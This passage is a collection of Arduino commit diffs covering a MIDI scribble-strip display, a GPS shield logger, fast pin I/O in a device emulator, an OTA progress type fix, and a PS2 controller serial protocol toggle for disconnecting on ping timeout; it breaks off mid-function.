progress...

progress...

--- arduinoBCF/arduinoBCF.ino
+++ arduinoBCF/arduinoBCF.ino
@@ -3,6 +3,9 @@
 #include <SPI.h>
 #include <Wire.h>
 #include <stdio.h>
+
+#include <string.h>
+#include <stdlib.h>

@@ -60,14 +63,30 @@
 //MIDI buffer
 static byte *lastSysEx;

-
 static bool overload = false;

+
+// Define the channel structure
+struct channel {
+  byte* trackName;
+  byte displayLine1[7];
+  byte displayLine2[7];
+  byte offsetl1;
+  byte offsetl2;
+  byte* assign;
+  byte* faderLevel;
+  int leftPan;
+  int rightPan;
+};
+
+// define all displays
+static struct channel oledDisplays[7];
+static int currentDisp = 0;
+
 /**
    Board Setup
 */
 void setup() {
-
   MIDI.begin();
   MIDI.turnThruOff();
   MIDI.setHandleSystemExclusive(handleSysEx);
@@ -107,6 +126,9 @@
   display.clearDisplay();
   display.drawPixel(10, 10, WHITE);
   display.display();
+
+
+
 }

 /**
@@ -116,15 +138,29 @@
   // Reading MIDI messages,

   MIDI.read();
-
+
   byte data = MIDI.getData1();
-
-  if(MIDI.getType() == 0xD0){ //metering?
-    if(data != 0){
+  byte data2 = MIDI.getData2();
+
+/*
+  if (MIDI.getType() == 0xD0) { //metering?
+    if (data != 0) {
       handleMetering(data);
-    }
-  }
-
+    }
+  }
+  */
+   if (MIDI.getType() == 0x90) { //select?
+    if (data != 0 && data == 0x18) {
+      currentDisp = 0;
+    }
+    else if(data != 0 && data == 0x19){
+      currentDisp = 1;
+    }
+    else if(data != 0 && data == 0x1A){
+      currentDisp = 2;
+    }
+    refreshLCD();
+   }
 }

@@ -137,22 +173,56 @@
   // Do something here with your data!
   display.clearDisplay();
   display.setCursor(0, 0);
-  display.println("MIDI CC");
-  display.display();
-}
-
+  display.println(pitch);
+  display.display();
+}
+
+/**
+   MIDI note off
+*/
+void HandleNoteOff(byte channel, byte pitch, byte velocity)
+{
+  // Do something here with your data!
+}

 /**
    MIDI SysEx
 */
-void handleSysEx(byte * sysEx, unsigned buffSize) {
-  //header f0 00 00 66 05 00
-  //
-
-  if (sysEx[5] == 0x12) {
-    handleScribble(sysEx, buffSize);
-  }
-
+void handleSysEx(byte * sysEx, unsigned buffSize) {
+/*
+  //Opening communication
+  if (sysEx[5] == 0x00) {
+    display.clearDisplay();
+    display.setCursor(0, 0);
+    display.setTextSize(1);
+    display.println("Connection Query...");
+    display.display();
+    //                                        <HDR>                | Host query
+    byte sysExConnectionQuery[18] = { 0xF0, 0x00, 0x00, 0x66, 0x00, 0x01, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x01, 0x01, 0x01, 0x01, 0xF7 };
+    sysExConnectionQuery[4] = sysEx[4];
+    MIDI.sendSysEx(18, sysExConnectionQuery, false);
+
+    delay(500);
+
+  }
+  if (sysEx[5] == 0x02) {
+    //skip protocol verifications...
+    //display.clearDisplay();
+    //display.setCursor(0, 0);
+    display.println("Confirmed");
+    display.display();
+    //                                        <HDR>                | Host confirm
+    byte sysExConnectionConfirm[] = { 0xf0, 0x00, 0x00, 0x66, 0x14, 0x03, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0xF7 };
+    MIDI.sendSysEx(14, sysExConnectionConfirm, false);
+  }
+*/
+  //if(sysEx[0] == 0xF0){
+    if (sysEx[5] == 0x12) {
+      handleScribble(sysEx, buffSize);
+    }
+
+    refreshLCD();
+  //}
 }

@@ -160,68 +230,91 @@
    LCD message should be processed here
 */
 void handleScribble(byte *sysEx, unsigned buffSize) {
+
+
   byte offset = sysEx[6];
+  byte *ptr = sysEx + 7;
   // Start to get the display to update (0->7)
   int displayId = getDisplayId(sysEx);

-
-  if (displayId == 0) {
-    display.clearDisplay();
-    // Get position on the display
-    if (offset >= 0x00 && offset <= 0x37) {
-      //first line
-      display.setTextSize(2);
-      display.setCursor(0, 0);
-    }
-    else if (offset <= 0x6C) { //38->6C second line
-      //second line
-      display.setTextSize(2);
-      display.setCursor(0, CH_HEI * 2);
-      display.setCursor(DP_WID_MID - (3 * CH_WID * 2), display.getCursorY()); // Center text on OLED
-
-    }
-
-    //Display the message
-    for (int16_t i = 7; i < buffSize - 1; i ++) {
-      display.write(sysEx[i]); //write to convert Byte as char
-    }
-    display.display();
-  }
-}
+  // Get position on the display
+  if (offset >= 0x00 && offset < 0x07) {
+    oledDisplays[displayId].offsetl1 = offset;
+    memcpy(oledDisplays[displayId].displayLine1, ptr, 7); // get next 7 bytes (skip the 0xF7 EOSysEx)
+  }
+  if (offset >= 0x38 && offset <= 0x3E) { //38->6C second line
+    //second line
+    oledDisplays[displayId].offsetl2 = offset;
+    memcpy(oledDisplays[displayId].displayLine2, ptr, 7); // get next 7 bytes (skip the 0xF7 EOSysEx)
+  }
+
+
+
+
+
+}
+
+void refreshLCD(){
+  /*
+   display.clearDisplay();
+  //first line (+ display number)
+  display.setCursor(0, 0);
+  display.setTextSize(1);
+  display.print(currentDisp + 1);
+  display.setCursor(CH_WID *2, 0);
+  display.setTextSize(2);
+  //display.print(oledDisplays[currentDisp].offsetl1);
+  for (int16_t i = 0; i < 7; i ++) {
+    display.write(oledDisplays[currentDisp].displayLine1[i]); //write to convert Byte as char
+  }
+
+  //second line
+  display.setTextSize(2);
+  display.setCursor(0, CH_HEI * 2);
+  //display.print(oledDisplays[currentDisp].offsetl2);
+  display.setCursor(DP_WID_MID - (3 * CH_WID * 2), display.getCursorY()); // Center text on OLED
+  for (int16_t i = 0; i < 7; i ++) {
+    display.write(oledDisplays[currentDisp].displayLine2[i]); //write to convert Byte as char
+  }
+  display.display();
+  //*/
+}
+
+

 void handleMetering(byte data) {
-      int fullScale = DP_WID;
-
-      byte chan = data & 0xf0; // from 0 to 7
-      //TODO handle multiple displays
-
-      byte level = data & 0x0f; // 0-> 0% , C-> 100%
-      int meterVal = (level * fullScale) / 0x0C;
-
-      display.clearDisplay();
-      display.setCursor(0,0);
-
-      for (int16_t i = 0; i < meterVal; i += 1) {
-          display.drawLine(display.getCursorX() + i, display.getCursorY(), display.getCursorX() + i, display.getCursorY() + CH_HEI, WHITE);
-      }
-
-      // Set Overload
-      if(level == 0x0E){
-        overload = true;
-      }
-      // unset Overload
-      if(level == 0x0F){
-         overload = false;
-      }
-      if(overload){
-        display.setTextSize(1);
-        display.println(" ");
-        display.print("OVERLOAD!!!!!"); //set overload
-      }
-
-      delay(50);
-      display.display();
+  int fullScale = DP_WID;
+
+  byte chan = data & 0xf0; // from 0 to 7
+  //TODO handle multiple displays
+
+  byte level = data & 0x0f; // 0-> 0% , C-> 100%
+  int meterVal = (level * fullScale) / 0x0C;
+
+  display.clearDisplay();
+  display.setCursor(0, 0);
+
+  for (int16_t i = 0; i < meterVal; i += 1) {
+    display.drawLine(display.getCursorX() + i, display.getCursorY(), display.getCursorX() + i, display.getCursorY() + CH_HEI, WHITE);
+  }
+
+  // Set Overload
+  if (level == 0x0E) {
+    overload = true;
+  }
+  // unset Overload
+  if (level == 0x0F) {
+    overload = false;
+  }
+  if (overload) {
+    display.setTextSize(1);
+    display.println(" ");
+    display.print("OVERLOAD!!!!!"); //set overload
+  }
+
+  delay(50);
+  display.display();
 }


Log GPS from shield

Log GPS from shield

--- akeru-test-sketch_.ino
+++ akeru-test-sketch_.ino
@@ -1,61 +1,56 @@
+/**
+Arduino GPS Client to retrieve the Location data from the GPS shield.
+The information are processed through the TinyGPS library and logged to the console
+**/
+
 #include <SoftwareSerial.h>
-#include <Akeru.h>
+#include <TinyGPS.h>

-/*
- * Akeru Libary at: http://snootlab.com/lang-en/shields-snootlab/547-akeru-beta-32-fr.html
- * or at: https://github.com/hackerspacesg/SIGFOX
- */
-
-// Initialize the modem:
-void setup() {
+TinyGPS gps;
+SoftwareSerial ss(0,1);

-  // initialize serial communication at 9600 bits per second:
+void setup()
+{
+  ss.begin(9600);
   Serial.begin(9600);
-  Serial.println("Starting...");
-
-  // Wait 1 second for the modem to warm up
-  delay(1000);
-
-  // Init modem
-  Akeru.begin();
-
+  Serial.print("Finished setup");
 }

-typedef struct {
-  int lat;
-  int lon;
-  int counter;
-} Payload;
-
-
-void loop() {
-
- Payload p;
+void loop()
+{
+  bool newData = false;
+  unsigned long chars;
+  unsigned short sentences, failed;

- p.counter = 0;
- p.lat = 51;
- p.lon = 7;
-
-   if(!Akeru.isReady()) {
-      Serial.println("Modem not ready");
-      delay(1000);
-    } else {
-      Serial.println("Modem ready");
-      delay(1000);
-
-      if (p.counter==0) {
-        // Send data:
-        Serial.println(sizeof(p.lat));
-        Serial.println(sizeof(p.lon));
-        Serial.println(sizeof(p));
-        Akeru.send(&p, sizeof(p));
-        Serial.println("Message sent");
-        delay(1000);
-
-        p.counter++;
-
-    } else {
-      Serial.println("Counter>0");
+  // parse GPS data for one second and report some key values
+  for (unsigned long start = millis(); millis() - start < 1000;)
+  {
+    while (ss.available())
+    {
+      char c = ss.read();
+      //Serial.print(c); //uncomment to see the full NMEA datasets
+      if (gps.encode(c)) // Did a new valid sentence come in?
+        Serial.println("New Data!");
+        newData = true;
     }
   }
+
+    if (newData)
+  {
+    float flat, flon;
+    unsigned long age;
+    gps.f_get_position(&flat, &flon, &age);
+    Serial.println("");
+    Serial.print("LAT = ");
+    Serial.println(flat == TinyGPS::GPS_INVALID_F_ANGLE ? 0.0 : flat, 6);
+    Serial.print("LON = ");
+    Serial.println(flon == TinyGPS::GPS_INVALID_F_ANGLE ? 0.0 : flon, 6);
+    Serial.print("HDOP = ");
+    Serial.println(gps.hdop()/100.0);
+    Serial.print("SAT = ");
+    Serial.println(gps.satellites());
+    Serial.print("Speed = ");
+    Serial.println(gps.f_speed_kmph());
+    newData = false;
+  }
 }


Pin mode fast

Pin mode fast

--- Arduino/DeviceEmulator/DeviceEmulator.ino
+++ Arduino/DeviceEmulator/DeviceEmulator.ino
@@ -100,11 +100,11 @@
   pinModeFast(PIN_POTX_OUT, OUTPUT);
   pinModeFast(PIN_POTY_OUT, OUTPUT);

-  digitalWriteFast(PIN_POTX_OUT, HIGH);
-  digitalWriteFast(PIN_POTY_OUT, HIGH);
+  digitalWriteFast(PIN_POTX_OUT, LOW);
+  digitalWriteFast(PIN_POTY_OUT, LOW);

   // Configure the input line that will be used to detect when the SID pulls POTX low to start the sequence
-  pinMode(PIN_POTX_IN, INPUT_PULLUP);  // Configure the pin as an input, and turn on the pullup resistor.
+  pinModeFast(PIN_POTX_IN, INPUT_PULLUP);  // Configure the pin as an input, and turn on the pullup resistor.
   enableInterrupt(PIN_POTX_IN | PINCHANGEINTERRUPT, interruptFunction, FALLING);

   // Serial Link to PC
@@ -113,19 +113,28 @@
 }

 void loop()
-{
+{
+  /*
+  digitalWriteFast(PIN_DOWN, HIGH);
+  digitalWriteFast(PIN_RIGHT, HIGH);
+  digitalWriteFast(PIN_LED, HIGH);
+  delay(1000);
+  digitalWriteFast(PIN_DOWN, LOW);
+  digitalWriteFast(PIN_RIGHT, LOW);
+  digitalWriteFast(PIN_LED, LOW);
+  delay(1000);
+  return;
+  */
+
   // Wait for a string
-  digitalWrite(PIN_LED, HIGH);
+  digitalWriteFast(PIN_LED, HIGH);
   String input = GetInput();
-  digitalWrite(PIN_LED, LOW);
+  digitalWriteFast(PIN_LED, LOW);

   if (input == NULL)  // Timed out
   {
     return;
   }
-
-  Serial.print("input=");
-  Serial.println(input);

   char c = input.c_str()[0];


Corrected data types used for showing OTA progress. Should have been unsigned int.

--- src/_ota.ino
+++ src/_ota.ino
@@ -21,19 +21,19 @@
   ArduinoOTA.setHostname(cfg.hostname);
   ArduinoOTA.setPassword(ADMIN_PASSWORD);

-  DEBUGLOG("[OTA] Server running at %s:%u\n", ArduinoOTA.getHostname().c_str(),
+  DEBUGLOG("[OTA ] Server running at %s:%u\n", ArduinoOTA.getHostname().c_str(),
            OTA_PORT);

-  ArduinoOTA.onStart([]() { DEBUGLOG("[OTA] Start\n"); });
+  ArduinoOTA.onStart([]() { DEBUGLOG("[OTA ] Start\n"); });

-  ArduinoOTA.onEnd([]() { DEBUGLOG("\n[OTA] End\n"); });
+  ArduinoOTA.onEnd([]() { DEBUGLOG("\n[OTA ] End\n"); });

-  ArduinoOTA.onProgress([](uint8_t progress, uint8_t total) {
-    DEBUGLOG("[OTA] Progress: %u%%\r", (progress / (total / 100)));
+  ArduinoOTA.onProgress([](uint32_t progress, uint32_t total) {
+    DEBUGLOG("Progress: %u%%\r", (progress / (total / 100)));
   });

   ArduinoOTA.onError([](ota_error_t error) {
-    DEBUGLOG("\n[OTA] Error[%u]: ", error);
+    DEBUGLOG("\n[OTA ] Error[%u]: ", error);
     if (error == OTA_AUTH_ERROR)
       DEBUGLOG("Authentication Failed\n");
     else if (error == OTA_BEGIN_ERROR)


Function to Toggle Disconnect on PING Timeout

	Preamble/Postamble = 0x14 for Disable or Enable Auto disconnect on PING timeout
	Arduino receives data to disable or enable Automatic Disconnection on PING timeout

	Preamble/Postamble = 0x15 for Respond Back to Auto disconnect on PING timeout
	Arduino sends data to tell the computer the change was succesful

--- ps2_controller/ps2_controller.ino
+++ ps2_controller/ps2_controller.ino
@@ -108,6 +108,7 @@
 unsigned long readMotorsStatus = 0; // 0 = Read Both Low to High and High to Low changes, 1 = Disabled, 2 = Read Low to High changes, 3 = Read High to Low Changes. 0 Means it's enabled by default.
 unsigned long autoResetControllerDataStatus = 0; // 0 = Automatic reset is enabled, 1 = Automatic reset is disabled
 unsigned long resetBeforeInputStatus = 0; // 0 = Resetting before inputting is enabled, 1 = Resetting before inputting is disabled
+unsigned long autoDisconnectOnPingTimeout = 0; // 0 = Arduino will disconnect in case of PING time out, that is, when the computer doesn't respond to the Arduino with PONG, 1 = Arduino won't close connection to the computer in case of PING timeout

 unsigned long resetCalled = 0;
 unsigned long resetDone = 0;
@@ -133,6 +134,7 @@
 byte serial_rx_buffer_change_motors_status[12];
 byte serial_rx_buffer_change_autoreset_controller_status[12];
 byte serial_rx_buffer_toggle_before_input_reset[12];
+byte serial_rx_buffer_toggle_disconnect_on_ping_timeout[12];
 unsigned long serial_rx_buffer_counter = 0;
 unsigned long controller = 0;

@@ -320,6 +322,7 @@
   readMotors();
   manualResetControllerData();
   toggleBeforeInputReset();
+  toggleDisconnectOnPingTimeout();

   serial_rx_buffer_change_motors_status[0] = 0x0F;
   serial_rx_buffer_change_motors_status[1] = 0x00;
@@ -360,6 +363,19 @@
   serial_rx_buffer_toggle_before_input_reset[10] = 0x00;
   serial_rx_buffer_toggle_before_input_reset[11] = 0x13;

+  serial_rx_buffer_toggle_disconnect_on_ping_timeout[0] = 0x15;
+  serial_rx_buffer_toggle_disconnect_on_ping_timeout[1] = 0x00;
+  serial_rx_buffer_toggle_disconnect_on_ping_timeout[2] = 0x00;
+  serial_rx_buffer_toggle_disconnect_on_ping_timeout[3] = 0x00;
+  serial_rx_buffer_toggle_disconnect_on_ping_timeout[4] = 0x00;
+  serial_rx_buffer_toggle_disconnect_on_ping_timeout[5] = 0x00;
+  serial_rx_buffer_toggle_disconnect_on_ping_timeout[6] = 0x00;
+  serial_rx_buffer_toggle_disconnect_on_ping_timeout[7] = 0x00;
+  serial_rx_buffer_toggle_disconnect_on_ping_timeout[8] = 0x00;
+  serial_rx_buffer_toggle_disconnect_on_ping_timeout[9] = 0x00;
+  serial_rx_buffer_toggle_disconnect_on_ping_timeout[10] = 0x00;
+  serial_rx_buffer_toggle_disconnect_on_ping_timeout[11] = 0x15;
+
   inputDelay = 0;
   isInputtingDelayed = false;
   isInputting = false;
@@ -433,6 +449,18 @@

   //  Preamble/Postamble = 0x11 for Respond Back to autoResetControllerData()
   //  Arduino sends data to tell the computer the change was succesful
+
+  //  Preamble/Postamble = 0x12 for Choose to toggle auto reset before inputting
+  //  Arduino receives data to disable or enable Automatic Disconnection on PING timeout
+
+  //  Preamble/Postamble = 0x13 for respond back to Choose to toggle auto reset before inputting
+  //  Arduino sends data to tell the computer the change was succesful
+
+  //  Preamble/Postamble = 0x14 for Disable or Enable Auto disconnect on PING timeout
+  //  Arduino receives data to disable or enable Automatic Disconnection on PING timeout
+
+  //  Preamble/Postamble = 0x15 for Respond Back to Auto disconnect on PING timeout
+  //  Arduino sends data to tell the computer the change was succesful
   if (Serial.available() > 0) {

     controller = Serial.readBytes(serial_rx_buffer, sizeof(serial_rx_buffer)) && 0xFF;
@@ -542,8 +570,18 @@
       Serial.flush();
       toggleBeforeInputReset();
     }
+    else if ((serial_rx_buffer[0] == 0x14) && (serial_rx_buffer[11] == 0x14)) {
+      // Choose to enable or disable Disconnect on PingTimeout
+      for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_toggle_disconnect_on_ping_timeout); serial_rx_buffer_counter++) {
+
+        serial_rx_buffer_toggle_disconnect_on_ping_timeout[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];
+        Serial.write(serial_rx_buffer_toggle_disconnect_on_ping_timeout[serial_rx_buffer_counter]);
+      }
+      Serial.flush();
+      toggleDisconnectOnPingTimeout();
+    }
     //  Get Invalid Command
-    else if ((((serial_rx_buffer[0] < 0x01) || (serial_rx_buffer[0] > 0x13)) && ((serial_rx_buffer[11] < 0x01) || (serial_rx_buffer[11] > 0x13))) && (((serial_rx_buffer[0] != 0xA0) && (serial_rx_buffer[0] != 0xA1)) && ((serial_rx_buffer[11] != 0xA0) && (serial_rx_buffer[11] != 0xA1)))) {
+    else if ((((serial_rx_buffer[0] < 0x01) || (serial_rx_buffer[0] > 0x15)) && ((serial_rx_buffer[11] < 0x01) || (serial_rx_buffer[11] > 0x15))) && (((serial_rx_buffer[0] != 0xA0) && (serial_rx_buffer[0] != 0xA1)) && ((serial_rx_buffer[11] != 0xA0) && (serial_rx_buffer[11] != 0xA1)))) {
       for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_invalid_command); serial_rx_buffer_counter++) {
         //  Pass Serial Buffer to Reset Controller Data Buffer
         serial_rx_buffer_invalid_command[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];
@@ -596,6 +634,41 @@
   //Serial.flush();
   autoResetControllerData();
   manualResetControllerData();
+  //inputDelay = 0;
+  //isInputtingDelayed = false;
+  //isInputting = false;
+}
+
+void toggleDisconnectOnPingTimeout() {
+  //  This is where we choose whether or not the Arduino resets the controller data before executing an input
+  //inputDelay = 0;
+  //isInputtingDelayed = false;
+  //isInputting = false;
+  //autoResetControllerData();
+  //manualResetControllerData();
+  calculatePing();
+  calculatePong();
+  //Serial.println("");
+  //Serial.print("Changing from ");
+  //Serial.print(autoDisconnectOnPingTimeout);
+  //Serial.print(" to");
+  //Serial.flush();
+  autoDisconnectOnPingTimeout = serial_rx_buffer_toggle_disconnect_on_ping_timeout[8];
+  serial_rx_buffer_toggle_disconnect_on_ping_timeout[0] = 0x15;
+  serial_rx_buffer_toggle_disconnect_on_ping_timeout[11] = 0x15;
+
+  for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_toggle_disconnect_on_ping_timeout); serial_rx_buffer_counter++) {
+    //  Write back data as a way to tell the Status changed correctly
+    Serial.write(serial_rx_buffer_toggle_disconnect_on_ping_timeout[serial_rx_buffer_counter]);
+  }
+  Serial.flush();
+  //Serial.print(autoDisconnectOnPingTimeout);
+  //Serial.println(" .");
+  //Serial.flush();
+  //autoResetControllerData();
+  //manualResetControllerData();
+  calculatePing();
+  calculatePong();
   //inputDelay = 0;
   //isInputtingDelayed = false;
   //isInputting = false;
@@ -1345,163 +1418,165 @@
 void calculatePing() {
   //  Calculate delay since last PONG sent from the computer, If the computer doesn't respond with PONG in 10 seconds since the last PONG sent from the computer, connection is interrupted and the restarted
   calcPingTimestampIn = (currentMillis - previousPingDelay);
-  if ((calcPongTimestampIn - calcPingTimestampIn >= 10000) && (calcPongTimestampIn - calcPingTimestampIn <= currentMillis)) {
-    disconnectCalled = currentMillis;
-
-    //  Before disconnecting, we need to reset all Command status, and tell the computer they were reset
-    serial_rx_buffer_controller[0] = 0x01; //  Preamble
-    serial_rx_buffer_controller[1] = 0x00; //  SELECT, L3, R3, START, DUP, DRIGHT, DDOWN, DLEFT
-    serial_rx_buffer_controller[2] = 0x00; //  L2, R2, L1, R1, Triangle/Delta, Circle/O, Cross/X, Square
-    serial_rx_buffer_controller[3] = 0x7F; //  RX
-    serial_rx_buffer_controller[4] = 0x7F; //  RY
-    serial_rx_buffer_controller[5] = 0x7F; //  LX
-    serial_rx_buffer_controller[6] = 0x7F; //  LY
-    serial_rx_buffer_controller[7] = 0x00; //  Analog button (Used to change between Digital and Analog modes in older games), Buffer Array Element 7  //  All other bits in this Buffer Array Element are unused
-    serial_rx_buffer_controller[8] = 0x00; //  Unused
-    serial_rx_buffer_controller[9] = 0x00; //  Delay Byte 2
-    serial_rx_buffer_controller[10] = 0x00; // Delay Byte 1
-    serial_rx_buffer_controller[11] = 0x01; // Postamble
-
-    for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer); serial_rx_buffer_counter++) {
-      Serial.write(serial_rx_buffer_controller[serial_rx_buffer_counter]); //  This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values
-      serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = (255 - serial_rx_buffer_controller[serial_rx_buffer_counter]); //  Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values
-    }
-
-    //  First 8 buttons, Buffer Array Element 1
-    //  SELECT, L3, R3, START, DUP, DRIGHT, DDOWN, DLEFT
-    digitalWrite(commandArray[0], (serial_rx_buffer_inverted_controller[1] & B00000001));
-    digitalWrite(commandArray[1], (serial_rx_buffer_inverted_controller[1] & B00000010));
-    digitalWrite(commandArray[2], (serial_rx_buffer_inverted_controller[1] & B00000100));
-    digitalWrite(commandArray[3], (serial_rx_buffer_inverted_controller[1] & B00001000));
-    digitalWrite(commandArray[4], (serial_rx_buffer_inverted_controller[1] & B00010000));
-    digitalWrite(commandArray[5], (serial_rx_buffer_inverted_controller[1] & B00100000));
-    digitalWrite(commandArray[6], (serial_rx_buffer_inverted_controller[1] & B01000000));
-    digitalWrite(commandArray[7], (serial_rx_buffer_inverted_controller[1] & B10000000));
-
-    //  Second 8 buttons, Buffer Array Element 2
-    //  L2, R2, L1, R1, Triangle/Delta, Circle/O, Cross/X, Square
-    digitalWrite(commandArray[8], (serial_rx_buffer_inverted_controller[2] & B00000001));
-    digitalWrite(commandArray[9], (serial_rx_buffer_inverted_controller[2] & B00000010));
-    digitalWrite(commandArray[10], (serial_rx_buffer_inverted_controller[2] & B00000100));
-    digitalWrite(commandArray[11], (serial_rx_buffer_inverted_controller[2] & B00001000));
-    digitalWrite(commandArray[12], (serial_rx_buffer_inverted_controller[2] & B00010000));
-    digitalWrite(commandArray[13], (serial_rx_buffer_inverted_controller[2] & B00100000));
-    digitalWrite(commandArray[14], (serial_rx_buffer_inverted_controller[2] & B01000000));
-    digitalWrite(commandArray[15], (serial_rx_buffer_inverted_controller[2] & B10000000));
-
-    //  4 Axis, Buffer Array Elements 3, 4, 5, 6
-    //  RX, RY, LX, LY
-    analogWrite(commandArray[16], serial_rx_buffer_inverted_controller[3]);
-    analogWrite(commandArray[17], serial_rx_buffer_inverted_controller[4]);
-    analogWrite(commandArray[18], serial_rx_buffer_inverted_controller[5]);
-    analogWrite(commandArray[19], serial_rx_buffer_inverted_controller[6]);
-
-    //  Analog button (Used to change between Digital and Analog modes in older games), Buffer Array Element 7
-    //  All other bits in this Buffer Array Element are unused
-    digitalWrite(commandArray[20], (serial_rx_buffer_inverted_controller[7] & B00000001));
-
-    //  Buffer Array Element 8 is unused in this code, but is existing in case changes are needed
-    Serial.flush();
-
-    //  Tell the computer the connection is about to be closed
-    serial_rx_buffer_disconnect[8] = (byte)((disconnectCalled & 0xFF));
-    serial_rx_buffer_disconnect[7] = (byte)((disconnectCalled >> 8) & 0xFF);
-    serial_rx_buffer_disconnect[6] = (byte)((disconnectCalled >> 16) & 0xFF);
-    serial_rx_buffer_disconnect[5] = (byte)((disconnectCalled >> 24) & 0xFF);
-    //Serial.println(disconnectCalled);
-    //Serial.println("DISCONNECTING...");
-    //Serial.print("DISCONNECTING PING = ");
-    //Serial.println(calcPongTimestampIn);
-    serial_rx_buffer_disconnect[0] = 0x09;
-    serial_rx_buffer_disconnect[11] = 0x09;
-    for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_disconnect); serial_rx_buffer_counter++) {
-      Serial.write(serial_rx_buffer_disconnect[serial_rx_buffer_counter]); //  This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values
-    }
-    Serial.flush();
-    //calcPongTimestamp = 0;
-    previousPongDelay = currentMillis;
-    //Serial.println("Closing connection");
-    //Serial.println(calcPongTimestamp);
-    Serial.end();
-    isConnected = false;
-    delay(2500); // Wait 2.5 seconds before starting connection
-    //Serial.println("Sending shit after connection has closed");
-    Serial.begin(baudRate);
-    //Serial.println("Connection started");
-    //  Tell the computer the connection has began succesfully
-    serial_rx_buffer_disconnect[0] = 0x0B;
-    serial_rx_buffer_disconnect[11] = 0x0B;
-    serial_rx_buffer_disconnect[8] = (byte)((disconnectDone & 0xFF));
-    serial_rx_buffer_disconnect[7] = (byte)((disconnectDone >> 8) & 0xFF);
-    serial_rx_buffer_disconnect[6] = (byte)((disconnectDone >> 16) & 0xFF);
-    serial_rx_buffer_disconnect[5] = (byte)((disconnectDone >> 24) & 0xFF);
-    for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_disconnect); serial_rx_buffer_counter++) {
-      Serial.write(serial_rx_buffer_disconnect[serial_rx_buffer_counter]); //  This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values
-    }
-    Serial.flush();
-
-    //  Reset all Commands status just to make sure everything is working as intended
-    serial_rx_buffer_controller[0] = 0x01; //  Preamble
-    serial_rx_buffer_controller[1] = 0x00; //  SELECT, L3, R3, START, DUP, DRIGHT, DDOWN, DLEFT
-    serial_rx_buffer_controller[2] = 0x00; //  L2, R2, L1, R1, Triangle/Delta, Circle/O, Cross/X, Square
-    serial_rx_buffer_controller[3] = 0x7F; //  RX
-    serial_rx_buffer_controller[4] = 0x7F; //  RY
-    serial_rx_buffer_controller[5] = 0x7F; //  LX
-    serial_rx_buffer_controller[6] = 0x7F; //  LY
-    serial_rx_buffer_controller[7] = 0x00; //  Analog button (Used to change between Digital and Analog modes in older games), Buffer Array Element 7  //  All other bits in this Buffer Array Element are unused
-    serial_rx_buffer_controller[8] = 0x00; //  Unused
-    serial_rx_buffer_controller[9] = 0x00; //  Delay Byte 2
-    serial_rx_buffer_controller[10] = 0x00; // Delay Byte 1
-    serial_rx_buffer_controller[11] = 0x01; // Postamble
-
-    for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer); serial_rx_buffer_counter++) {
-      Serial.write(serial_rx_buffer_controller[serial_rx_buffer_counter]); //  This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values
-      serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = (255 - serial_rx_buffer_controller[serial_rx_buffer_counter]); //  Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values
-    }
-
-    //  First 8 buttons, Buffer Array Element 1
-    //  SELECT, L3, R3, START, DUP, DRIGHT, DDOWN, DLEFT
-    digitalWrite(commandArray[0], (serial_rx_buffer_inverted_controller[1] & B00000001));
-    digitalWrite(commandArray[1], (serial_rx_buffer_inverted_controller[1] & B00000010));
-    digitalWrite(commandArray[2], (serial_rx_buffer_inverted_controller[1] & B00000100));
-    digitalWrite(commandArray[3], (serial_rx_buffer_inverted_controller[1] & B00001000));
-    digitalWrite(commandArray[4], (serial_rx_buffer_inverted_controller[1] & B00010000));
-    digitalWrite(commandArray[5], (serial_rx_buffer_inverted_controller[1] & B00100000));
-    digitalWrite(commandArray[6], (serial_rx_buffer_inverted_controller[1] & B01000000));
-    digitalWrite(commandArray[7], (serial_rx_buffer_inverted_controller[1] & B10000000));
-
-    //  Second 8 buttons, Buffer Array Element 2
-    //  L2, R2, L1, R1, Triangle/Delta, Circle/O, Cross/X, Square
-    digitalWrite(commandArray[8], (serial_rx_buffer_inverted_controller[2] & B00000001));
-    digitalWrite(commandArray[9], (serial_rx_buffer_inverted_controller[2] & B00000010));
-    digitalWrite(commandArray[10], (serial_rx_buffer_inverted_controller[2] & B00000100));
-    digitalWrite(commandArray[11], (serial_rx_buffer_inverted_controller[2] & B00001000));
-    digitalWrite(commandArray[12], (serial_rx_buffer_inverted_controller[2] & B00010000));
-    digitalWrite(commandArray[13], (serial_rx_buffer_inverted_controller[2] & B00100000));
-    digitalWrite(commandArray[14], (serial_rx_buffer_inverted_controller[2] & B01000000));
-    digitalWrite(commandArray[15], (serial_rx_buffer_inverted_controller[2] & B10000000));
-
-    //  4 Axis, Buffer Array Elements 3, 4, 5, 6
-    //  RX, RY, LX, LY
-    analogWrite(commandArray[16], serial_rx_buffer_inverted_controller[3]);
-    analogWrite(commandArray[17], serial_rx_buffer_inverted_controller[4]);
-    analogWrite(commandArray[18], serial_rx_buffer_inverted_controller[5]);
-    analogWrite(commandArray[19], serial_rx_buffer_inverted_controller[6]);
-
-    //  Analog button (Used to change between Digital and Analog modes in older games), Buffer Array Element 7
-    //  All other bits in this Buffer Array Element are unused
-    digitalWrite(commandArray[20], (serial_rx_buffer_inverted_controller[7] & B00000001));
-
-    //  Buffer Array Element 8 is unused in this code, but is existing in case changes are needed
-    Serial.flush();
-
-    isConnected = true;
-    disconnectDone = currentMillis;
-    //Serial.println("Sending shit after connection has began");
-    //Serial.println("RECONNECTED!");
